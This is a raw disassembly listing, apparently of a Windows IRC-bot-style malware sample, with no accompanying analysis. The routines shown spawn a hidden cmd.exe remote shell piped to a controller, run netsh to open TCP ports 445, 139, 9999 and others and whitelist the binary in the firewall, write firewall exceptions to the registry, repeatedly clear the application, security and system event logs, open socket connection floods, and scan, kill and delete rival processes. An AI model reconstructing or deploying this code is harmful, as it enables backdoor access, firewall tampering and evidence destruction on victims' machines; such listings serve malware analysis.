loc_41E65D:				; CODE XREF: sub_41E5FF+40j
		xor	eax, eax
		leave
		retn
sub_41E5FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E661	proc near		; DATA XREF: sub_41E7BE+177o

var_271C	= byte ptr -271Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 271Ch
		call	sub_429B60
		push	ebx
		push	esi
		push	edi
		mov	esi, 2710h
		xor	edi, edi
		mov	ebx, offset dword_458714


loc_41E67D:				; CODE XREF: sub_41E661+7Dj
					; sub_41E661+E3j
		push	esi
		lea	eax, [ebp+var_271C]
		push	edi
		push	eax
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_271C]
		push	esi
		push	eax
		push	dword_4586F4
		call	dword_437104	; PeekNamedPipe
		test	eax, eax
		jz	loc_41E74F
		cmp	[ebp+var_4], edi
		jnz	short loc_41E6E0
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4586F0
		call	dword_437100	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_41E6D6
		cmp	[ebp+var_8], 103h
		jnz	loc_41E773


loc_41E6D6:				; CODE XREF: sub_41E661+66j
		push	0Ah
		call	dword_437190	; Sleep
		jmp	short loc_41E67D
; ---------------------------------------------------------------------------


loc_41E6E0:				; CODE XREF: sub_41E661+52j
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_41E6F7


loc_41E6E7:				; CODE XREF: sub_41E661+94j
		cmp	[ebp+eax+var_271C], 0Ah
		jz	short loc_41E749
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_41E6E7


loc_41E6F7:				; CODE XREF: sub_41E661+84j
		mov	[ebp+var_4], 200h


loc_41E6FE:				; CODE XREF: sub_41E661+ECj
		push	esi
		lea	eax, [ebp+var_271C]
		push	edi
		push	eax
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_271C]
		push	eax
		push	dword_4586F4
		call	dword_437084	; ReadFile
		test	eax, eax
		jz	short loc_41E79B
		lea	eax, [ebp+var_271C]
		push	eax
		push	dword_458700
		push	ebx
		call	sub_41E5FF
		add	esp, 0Ch
		jmp	loc_41E67D
; ---------------------------------------------------------------------------


loc_41E749:				; CODE XREF: sub_41E661+8Ej
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_41E6FE
; ---------------------------------------------------------------------------


loc_41E74F:				; CODE XREF: sub_41E661+49j
		push	offset aCouldNotReadDa ; "Could	not read data from proccess.\r\n"
		push	dword_458700
		push	ebx
		call	sub_41E5FF
		push	[ebp+arg_0]
		call	sub_423623
		add	esp, 10h
		push	1
		call	dword_437174	; ExitThread


loc_41E773:				; CODE XREF: sub_41E661+6Fj
		call	sub_41E597
		push	offset aProccessHasTer ; "Proccess has terminated.\r\n"
		push	dword_458700
		push	ebx
		call	sub_41E5FF
		push	[ebp+arg_0]
		call	sub_423623
		add	esp, 10h
		push	edi
		call	dword_437174	; ExitThread


loc_41E79B:				; CODE XREF: sub_41E661+CBj
		push	offset aCouldNotReadDa ; "Could	not read data from proccess.\r\n"
		push	dword_458700
		push	ebx
		call	sub_41E5FF
		push	[ebp+arg_0]
		call	sub_423623
		add	esp, 10h
		push	edi
		call	dword_437174	; ExitThread
sub_41E661	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E7BE	proc near		; CODE XREF: sub_40A9FE+4777p

var_2884	= byte ptr -2884h
var_174		= byte ptr -174h
var_70		= dword	ptr -70h
var_44		= dword	ptr -44h
var_40		= word ptr -40h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2884h
		call	sub_429B60
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	dword_458700, eax
		call	sub_41E597
		xor	esi, esi
		lea	eax, [ebp+var_174]
		push	esi
		push	eax
		push	104h
		mov	edi, offset aCmd_exe ; "cmd.exe"
		push	esi
		push	edi
		push	esi
		call	dword_457020	; SearchPathA
		test	eax, eax
		jz	loc_41E8BE
		lea	eax, [ebp+var_18]
		mov	ebx, dword_43710C
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[ebp+var_18], 0Ch
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		mov	[ebp+var_10], 1
		mov	[ebp+var_14], esi
		call	ebx ; dword_43710C
		test	eax, eax
		jz	loc_41E8BE
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	ebx ; dword_43710C
		test	eax, eax
		jz	short loc_41E8BE
		mov	ebx, dword_43704C
		push	3
		push	esi
		push	esi
		push	offset dword_4586F8
		call	ebx ; dword_43704C
		push	eax
		push	[ebp+var_4]
		call	ebx ; dword_43704C
		push	eax
		call	dword_437108	; DuplicateHandle
		test	eax, eax
		jz	short loc_41E8BE
		push	10h
		lea	eax, [ebp+var_28]
		push	esi
		push	eax
		call	sub_429760
		push	44h
		lea	eax, [ebp+var_70]
		pop	ebx
		push	ebx
		push	esi
		push	eax
		call	sub_429760
		mov	eax, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_38], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_34], eax
		mov	[ebp+var_30], eax
		lea	eax, [ebp+var_28]
		mov	[ebp+var_70], ebx
		push	eax
		lea	eax, [ebp+var_70]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		lea	eax, [ebp+var_174]
		push	edi
		push	eax
		mov	[ebp+var_44], 101h
		mov	[ebp+var_40], si
		call	dword_4370D8	; CreateProcessA
		test	eax, eax
		jnz	short loc_41E8C6


loc_41E8BE:				; CODE XREF: sub_41E7BE+3Cj
					; sub_41E7BE+6Aj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_41E96A
; ---------------------------------------------------------------------------


loc_41E8C6:				; CODE XREF: sub_41E7BE+FEj
		push	[ebp+arg_4]
		mov	edi, dword_437044
		call	edi ; dword_437044
		mov	eax, [ebp+var_C]
		push	[ebp+var_24]
		mov	dword_4586F4, eax
		mov	eax, [ebp+var_4]
		mov	dword_4586FC, eax
		mov	eax, [ebp+var_28]
		mov	dword_4586F0, eax
		call	edi ; dword_437044
		cmp	[ebp+arg_0], esi
		jz	short loc_41E8F8
		push	[ebp+arg_0]
		jmp	short loc_41E8FD
; ---------------------------------------------------------------------------


loc_41E8F8:				; CODE XREF: sub_41E7BE+133j
		push	offset byte_454A54


loc_41E8FD:				; CODE XREF: sub_41E7BE+138j
		push	offset dword_458714
		call	sub_429B03
		pop	ecx
		mov	ebx, offset aWhdag1glagf_ ; "WHdAg1glAgf."
		pop	ecx
		push	ebx
		push	offset aSCmdPrompt ; "%s CMD Prompt"
		push	0Fh
		call	sub_4234A7
		mov	edi, eax
		mov	ecx, [ebp+var_20]
		imul	edi, 2724h
		add	esp, 0Ch
		mov	dword_46D728[edi], ecx
		lea	ecx, [ebp+var_2C]
		push	ecx
		push	esi
		push	eax
		push	offset sub_41E661
		push	esi
		push	esi
		call	dword_437180	; CreateThread
		cmp	eax, esi
		mov	dword_46D72C[edi], eax
		jnz	short loc_41E968
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	ebx
		lea	eax, [ebp+var_2884]
		push	offset aSFailedToStart ; "%s Failed to start IO	thread,	error: <%"...
		push	eax
		call	sub_429B03
		add	esp, 10h


loc_41E968:				; CODE XREF: sub_41E7BE+18Cj
		xor	eax, eax


loc_41E96A:				; CODE XREF: sub_41E7BE+103j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E7BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E96F	proc near		; CODE XREF: sub_418FA1+535p

var_404		= byte ptr -404h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		mov	esi, offset dword_4439A8
		push	edi
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	dword_4370B4	; lstrcpyA
		lea	eax, [ebp+var_404]
		push	offset aEnabled	; ":*:Enabled:"
		push	eax
		call	sub_42A5E0
		lea	eax, [ebp+var_404]
		push	offset aSystem_0 ; "SYSTEM"
		push	eax
		call	sub_42A5E0
		mov	edi, dword_437004
		add	esp, 10h
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSystemCurren_4 ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
		push	80000002h
		call	edi ; dword_437004
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_4293A0
		pop	ecx
		mov	ebx, dword_437008
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	1
		push	0
		push	esi
		push	[ebp+var_4]
		call	ebx ; dword_437008
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSystemCurren_5 ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
		push	80000002h
		call	edi ; dword_437004
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_4293A0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	1
		push	0
		push	esi
		push	[ebp+var_4]
		call	ebx ; dword_437008
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E96F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41EA30	proc near		; DATA XREF: sub_418FA1+541o

var_A0		= byte ptr -0A0h
var_88		= byte ptr -88h
var_78		= byte ptr -78h
arg_D0		= byte ptr  0D4h
arg_2B8		= byte ptr  2BCh
arg_4A0		= byte ptr  4A4h
arg_700		= byte ptr  704h
arg_8E8		= byte ptr  8ECh
arg_A78		= byte ptr  0A7Ch
arg_E60		= byte ptr  0E64h

		mov	eax, 1304h
		call	sub_429B60
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	offset aFirewallSetP_0 ; "firewall set portopening TCP 445 NB"
		lea	eax, [esp+14h+arg_700]
		push	200h
		push	eax
		call	sub_429BBE
		add	esp, 0Ch
		mov	esi, dword_43725C
		xor	ebp, ebp
		lea	eax, [esp+10h+arg_700]
		push	ebp
		push	ebp
		mov	ebx, offset aNetsh ; "netsh"
		push	eax
		mov	edi, offset aOpen ; "open"
		push	ebx
		push	edi
		push	ebp
		call	esi ; dword_43725C
		push	offset aFirewallSetP_1 ; "firewall set portopening TCP 139 NB"
		lea	eax, [esp+2Ch+arg_8E8]
		push	200h
		push	eax
		call	sub_429BBE
		add	esp, 0Ch
		lea	eax, [esp+28h+arg_8E8]
		push	ebp
		push	ebp
		push	eax
		push	ebx
		push	edi
		push	ebp
		call	esi ; dword_43725C
		push	offset aFirewallSetP_2 ; "firewall set portopening TCP 1013 BS"
		lea	eax, [esp+44h+arg_D0]
		push	200h
		push	eax
		call	sub_429BBE
		add	esp, 0Ch
		lea	eax, [esp+40h+arg_D0]
		push	ebp
		push	ebp
		push	eax
		push	ebx
		push	edi
		push	ebp
		call	esi ; dword_43725C
		push	offset aFirewallSetP_3 ; "firewall set portopening TCP 9999 PORT1"...
		lea	eax, [esp+5Ch+arg_2B8]
		push	200h
		push	eax
		call	sub_429BBE
		add	esp, 0Ch
		lea	eax, [esp+58h+arg_2B8]
		push	ebp
		push	ebp
		push	eax
		push	ebx
		push	edi
		push	ebp
		call	esi ; dword_43725C
		push	offset aFirewallSetP_4 ; "firewall set portopening TCP 9991 PORT2"...
		lea	eax, [esp+74h+arg_4A0]
		push	200h
		push	eax
		call	sub_429BBE
		add	esp, 0Ch
		lea	eax, [esp+70h+arg_4A0]
		push	ebp
		push	ebp
		push	eax
		push	ebx
		push	edi
		push	ebp
		call	esi ; dword_43725C
		push	104h
		lea	eax, [esp+8Ch+var_78]
		push	eax
		push	ebp
		call	dword_437070	; GetModuleHandleA
		push	eax
		call	dword_43717C	; GetModuleFileNameA
		lea	eax, [esp+98h+var_88]
		push	eax
		push	offset aFirewallAddAll ; "firewall add allowedprogram \"%s\" workst"...
		lea	eax, [esp+0A0h+arg_A78]
		push	400h
		push	eax
		call	sub_429BBE
		add	esp, 10h
		lea	eax, [esp+98h+arg_A78]
		push	ebp
		push	ebp
		push	eax
		push	ebx
		push	edi
		push	ebp
		call	esi ; dword_43725C
		lea	eax, [esp+0B0h+var_A0]
		push	eax
		push	offset aFirewallSetAll ; "firewall set allowedprogram \"%s\" workst"...
		lea	eax, [esp+0B8h+arg_E60]
		push	400h
		push	eax
		call	sub_429BBE
		add	esp, 10h
		lea	eax, [esp+0B0h+arg_E60]
		push	ebp
		push	ebp
		push	eax
		push	ebx
		push	edi
		push	ebp
		call	esi ; dword_43725C
		push	ebp
		call	dword_437174	; ExitThread
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
sub_41EA30	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41EB9C	proc near		; DATA XREF: sub_402CE9+3Fo

var_200		= byte ptr -200h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_454A30
		lea	eax, [ebp+var_200]
		push	offset aFirewallSetPor ; "firewall set portopening TCP %d FD"
		push	200h
		push	eax
		call	sub_429BBE
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	0
		push	eax
		push	offset aNetsh	; "netsh"
		push	offset aOpen	; "open"
		push	0
		call	dword_43725C
		push	0
		call	dword_437174	; ExitThread
sub_41EB9C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41EBE9	proc near		; DATA XREF: sub_40A9FE+1C6Co
					; sub_418FA1+21Ao

var_A0		= dword	ptr -0A0h
var_90		= dword	ptr -90h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	[ebp+var_C], offset aApplication ; "application"
		mov	dword ptr [eax+0BCh], 1
		mov	[ebp+var_8], offset aSecurity ;	"security"
		mov	[ebp+var_4], offset aSystem ; "system"


loc_41EC16:				; CODE XREF: sub_41EBE9+AFj
		call	dword_456E14	; DnsFlushResolverCache
		call	sub_427EDC
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_A0], 94h
		push	eax
		call	dword_437050	; GetVersionExA
		cmp	[ebp+var_90], 2
		jnz	short loc_41EC80


loc_41EC58:				; CODE XREF: sub_41EBE9+95j
		push	[ebp+edi*4+var_C]
		push	0
		call	dword_456E90	; OpenEventLogA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_41EC7A
		push	0
		push	ebx
		call	dword_456EA0	; ClearEventLogA
		push	ebx
		call	dword_456E4C	; CloseEventLog


loc_41EC7A:				; CODE XREF: sub_41EBE9+7Fj
		inc	edi
		cmp	edi, 3
		jl	short loc_41EC58


loc_41EC80:				; CODE XREF: sub_41EBE9+6Dj
		push	4F27AC0h
		push	32A3DE0h
		call	sub_41E415
		pop	ecx
		pop	ecx
		push	eax
		call	dword_437190	; Sleep
		jmp	loc_41EC16
sub_41EBE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC9D	proc near		; DATA XREF: sub_40A9FE+76DEo

var_9D64	= word ptr -9D64h
var_9D62	= word ptr -9D62h
var_9D60	= dword	ptr -9D60h
var_124		= dword	ptr -124h
var_120		= byte ptr -120h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 9D64h
		call	sub_429B60
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	48h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		xor	edi, edi
		xor	ebx, ebx
		inc	edi
		cmp	[ebp+var_14], ebx
		mov	[eax+11Ch], edi
		mov	eax, [ebp+var_124]
		mov	[ebp+var_4], eax
		mov	dword_458748, ebx
		jle	loc_41EE02


loc_41ECE0:				; CODE XREF: sub_41EC9D+10Bj
		push	ebx
		push	edi
		push	2
		call	dword_4372BC	; socket
		mov	ecx, dword_458748
		cmp	eax, ebx
		mov	dword_458750[ecx*4], eax
		jl	loc_41ED91
		shl	ecx, 4
		push	ebx
		push	10h
		lea	eax, [ebp+ecx+var_9D64]
		push	eax
		call	sub_429760
		mov	eax, dword_458748
		add	esp, 0Ch
		shl	eax, 4
		mov	[ebp+eax+var_9D64], 2
		lea	eax, [ebp+var_120]
		push	eax
		call	dword_4372C0	; inet_addr
		mov	ecx, dword_458748
		push	[ebp+var_1C]
		mov	edx, ecx
		shl	edx, 4
		shl	ecx, 4
		mov	[ebp+edx+var_9D60], eax
		mov	esi, ecx
		call	dword_4372C4	; ntohs
		mov	[ebp+esi+var_9D62], ax
		lea	eax, [ebp+esi+var_9D64]
		push	10h
		push	eax
		mov	eax, dword_458748
		push	dword_458750[eax*4]
		call	dword_4372CC	; connect
		lea	eax, [ebp+arg_0+2]
		push	edi
		push	eax
		mov	eax, dword_458748
		push	dword_458750[eax*4]
		call	sub_42F4BE
		add	esp, 0Ch


loc_41ED91:				; CODE XREF: sub_41EC9D+5Cj
		push	[ebp+var_18]
		call	dword_437190	; Sleep
		inc	dword_458748
		mov	eax, dword_458748
		cmp	eax, [ebp+var_14]
		jl	loc_41ECE0
		jmp	short loc_41EE02
; ---------------------------------------------------------------------------


loc_41EDB0:				; CODE XREF: sub_41EC9D+170j
		push	2
		push	dword_458750[eax*4]
		call	dword_437288	; shutdown
		test	eax, eax
		jge	short loc_41EDCE
		push	offset aShutdown ; "shutdown"
		call	sub_42BEF9
		pop	ecx


loc_41EDCE:				; CODE XREF: sub_41EC9D+124j
		mov	eax, dword_458748
		push	dword_458750[eax*4]
		call	sub_42F1A0
		test	eax, eax
		pop	ecx
		jz	short loc_41EDF0
		push	offset aCloseError ; "close error\n"
		call	sub_42BEB8
		jmp	short loc_41EE01
; ---------------------------------------------------------------------------


loc_41EDF0:				; CODE XREF: sub_41EC9D+145j
		push	dword_458748
		push	offset aClosedI	; "closed %i\n"
		call	sub_42BEB8
		pop	ecx


loc_41EE01:				; CODE XREF: sub_41EC9D+151j
		pop	ecx


loc_41EE02:				; CODE XREF: sub_41EC9D+3Dj
					; sub_41EC9D+111j
		dec	dword_458748
		mov	eax, dword_458748
		jns	short loc_41EDB0
		push	dword_458750[eax*4]
		call	dword_4372D8	; closesocket
		cmp	[ebp+var_C], 0
		mov	ebx, offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
		mov	edi, offset aAxauo_rlggx0 ; "aXauo.rLGgX0"
		mov	esi, offset aSSS_2 ; "%s %s -> %s"
		jnz	short loc_41EE53
		cmp	[ebp+var_10], 0
		jnz	short loc_41EE59
		lea	eax, [ebp+var_120]
		push	eax
		push	ebx
		push	edi
		lea	eax, [ebp+var_A0]
		push	esi
		push	eax
		push	[ebp+var_4]
		call	sub_41CE4A
		add	esp, 18h


loc_41EE53:				; CODE XREF: sub_41EC9D+192j
		cmp	[ebp+var_10], 0
		jz	short loc_41EE75


loc_41EE59:				; CODE XREF: sub_41EC9D+198j
		lea	eax, [ebp+var_120]
		push	eax
		push	ebx
		push	edi
		lea	eax, [ebp+var_A0]
		push	esi
		push	eax
		push	[ebp+var_4]
		call	sub_41CDD4
		add	esp, 18h


loc_41EE75:				; CODE XREF: sub_41EC9D+1BAj
		push	[ebp+var_20]
		call	sub_423623
		pop	ecx
		push	0
		call	dword_437174	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_41EC9D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE89	proc near		; CODE XREF: sub_41F0F5+353p
					; sub_41F0F5+385p

var_5504	= byte ptr -5504h
var_5503	= byte ptr -5503h
var_504		= byte ptr -504h
var_503		= byte ptr -503h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= byte ptr  20h
arg_20		= dword	ptr  28h
arg_3C		= byte ptr  44h

		push	ebp
		mov	ebp, esp
		mov	eax, 5504h
		call	sub_429B60
		and	[ebp+var_5504],	0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 13FFh
		xor	eax, eax
		lea	edi, [ebp+var_5503]
		and	[ebp+var_504], 0
		rep stosd
		stosw
		stosb
		mov	ecx, 13Fh
		xor	eax, eax
		lea	edi, [ebp+var_503]
		push	[ebp+arg_20]
		rep stosd
		stosw
		stosb
		xor	edi, edi
		push	edi
		push	1F0FFFh
		call	dword_437114	; OpenProcess
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_10]
		mov	[ebp+arg_10], eax
		jmp	loc_41EFD8
; ---------------------------------------------------------------------------


loc_41EEEA:				; CODE XREF: sub_41EE89+152j
		push	edi
		lea	eax, [ebp+var_504]
		push	500h
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_4]
		call	dword_437110	; ReadProcessMemory
		cmp	eax, edi
		jz	loc_41EFE1
		lea	eax, [ebp+var_504]
		push	eax
		lea	eax, [ebp+var_5504]
		push	eax
		call	sub_42A5E0
		cmp	off_447AEC, edi
		pop	ecx
		pop	ecx
		jz	loc_41EFBD
		mov	esi, offset off_447AEC
		mov	ebx, esi


loc_41EF33:				; CODE XREF: sub_41EE89+12Ej
		push	dword ptr [esi]
		lea	eax, [ebp+var_5504]
		push	eax
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41EFB0
		push	dword ptr [ebx-4]
		lea	eax, [ebp+arg_3C]
		push	eax
		push	dword ptr [esi]
		mov	esi, offset dword_45AE60
		push	offset aAl_N0kenp20 ; "Al./N0Kenp20"
		push	offset aSFoundStringSI ; "%s Found string \"%s\" in \"%s\" File	\"%s\""
		push	esi
		call	sub_429B03
		add	esp, 18h
		cmp	[ebp+arg_4], edi
		jnz	short loc_41EF7C
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 0Ch


loc_41EF7C:				; CODE XREF: sub_41EE89+E2j
		push	7D0h
		call	dword_437190	; Sleep
		sub	esp, 128h
		lea	esi, [ebp+arg_18]
		push	4Ah
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_C]
		rep movsd
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41EFEF
		add	esp, 138h
		xor	edi, edi


loc_41EFB0:				; CODE XREF: sub_41EE89+BCj
		add	ebx, 8
		mov	esi, ebx
		cmp	[ebx], edi
		jnz	loc_41EF33


loc_41EFBD:				; CODE XREF: sub_41EE89+9Dj
		push	5000h
		lea	eax, [ebp+var_5504]
		push	edi
		push	eax
		call	sub_429760
		add	esp, 0Ch
		inc	[ebp+arg_10]
		mov	eax, [ebp+arg_10]


loc_41EFD8:				; CODE XREF: sub_41EE89+5Cj
		cmp	eax, [ebp+arg_14]
		jbe	loc_41EEEA


loc_41EFE1:				; CODE XREF: sub_41EE89+7Cj
		push	[ebp+var_4]
		call	dword_437044	; CloseHandle
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EFEF	proc near		; CODE XREF: sub_41EE89+11Ap
					; sub_41F0F5+25Fp ...

var_228		= dword	ptr -228h
var_224		= byte ptr -224h
var_208		= byte ptr -208h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_34		= byte ptr  3Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 228h
		and	[ebp+var_228], 0
		push	esi
		push	edi
		mov	ecx, 88h
		push	[ebp+arg_18]
		xor	eax, eax
		lea	edi, [ebp+var_224]
		rep stosd
		push	8
		call	sub_4290AC	; CreateToolhelp32Snapshot
		mov	edi, eax
		lea	eax, [ebp+var_228]
		push	eax
		push	edi
		mov	[ebp+var_228], 224h
		call	sub_4290A6	; Module32First
		test	eax, eax
		jz	loc_41F0E3
		mov	esi, offset dword_45AE60


loc_41F040:				; CODE XREF: sub_41EFEF+EEj
		lea	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+arg_34]
		push	eax
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jnz	short loc_41F0CE
		lea	eax, [ebp+var_108]
		push	80h
		push	eax
		call	dword_437068	; SetFileAttributesA
		push	[ebp+arg_18]
		push	0
		push	1F0FFFh
		call	dword_437114	; OpenProcess
		push	0
		push	eax
		mov	[ebp+var_4], eax
		call	dword_437118	; TerminateProcess
		push	1F4h
		call	dword_437190	; Sleep
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_437060	; DeleteFileA
		test	eax, eax
		jz	short loc_41F0CE
		lea	eax, [ebp+var_108]
		push	eax
		push	offset aAl_N0kenp20 ; "Al./N0Kenp20"
		push	offset aSTerminatedAnd ; "%s Terminated	and deleted %s"
		push	esi
		call	sub_429B03
		add	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_41F0CE
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 0Ch


loc_41F0CE:				; CODE XREF: sub_41EFEF+64j
					; sub_41EFEF+AEj ...
		lea	eax, [ebp+var_228]
		push	eax
		push	edi
		call	sub_4290A0	; Module32Next
		test	eax, eax
		jnz	loc_41F040


loc_41F0E3:				; CODE XREF: sub_41EFEF+46j
		push	[ebp+var_4]
		mov	esi, dword_437044
		call	esi ; dword_437044
		push	edi
		call	esi ; dword_437044
		pop	edi
		pop	esi
		leave
		retn
sub_41EFEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F0F5	proc near		; DATA XREF: sub_40A9FE+1DDBo

var_260		= byte ptr -260h
var_1D5		= byte ptr -1D5h
var_1D4		= dword	ptr -1D4h
var_1B0		= byte ptr -1B0h
var_AC		= dword	ptr -0ACh
var_A8		= byte ptr -0A8h
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 260h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	27h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_AC]
		rep movsd
		mov	esi, offset dword_45AF60
		mov	dword ptr [eax+98h], 1
		mov	eax, [ebp+var_AC]
		push	80h
		push	esi
		push	0
		mov	[ebp+var_8], eax
		call	dword_437070	; GetModuleHandleA
		push	eax
		call	dword_43717C	; GetModuleFileNameA
		push	5Ch
		push	esi
		call	sub_42B060
		push	offset byte_454A54
		push	offset asc_44DABC ; "\\"
		push	eax
		mov	dword_45AFE0, eax
		call	sub_4279FA
		add	esp, 14h
		push	0
		push	2
		call	sub_4290AC	; CreateToolhelp32Snapshot
		lea	ecx, [ebp+var_1D4]
		mov	[ebp+var_C], eax
		push	ecx
		push	eax
		mov	[ebp+var_1D4], 128h
		mov	byte ptr [ebp+arg_0+3],	1
		call	sub_4290B8	; Process32First
		jmp	loc_41F49A
; ---------------------------------------------------------------------------


loc_41F18A:				; CODE XREF: sub_41F0F5+3A7j
		push	dword_45AFE0
		lea	eax, [ebp+var_1B0]
		push	eax
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jnz	short loc_41F1A4
		and	byte ptr [ebp+arg_0+3],	al


loc_41F1A4:				; CODE XREF: sub_41F0F5+AAj
		and	[ebp+var_1D5], 0
		mov	eax, 600h
		push	eax
		mov	[ebp+var_10], eax
		call	sub_4297B8
		pop	ecx
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	1
		xor	ebx, ebx
		push	eax
		push	esi
		mov	[esi], ebx
		call	sub_4290CA	; GetUdpTable
		cmp	[esi], ebx
		jle	short loc_41F209
		lea	edi, [esi+8]


loc_41F1D3:				; CODE XREF: sub_41F0F5+112j
		mov	ax, [edi]
		push	eax
		call	dword_4372A8	; ntohs
		mov	[ebp+var_4], eax
		push	8Ch
		lea	eax, [ebp+var_260]
		push	0
		push	eax
		call	sub_429760
		add	esp, 0Ch
		cmp	word ptr [ebp+var_4], 45h
		jz	loc_41F4C1
		inc	ebx
		add	edi, 8
		cmp	ebx, [esi]
		jl	short loc_41F1D3


loc_41F209:				; CODE XREF: sub_41F0F5+D9j
		push	esi
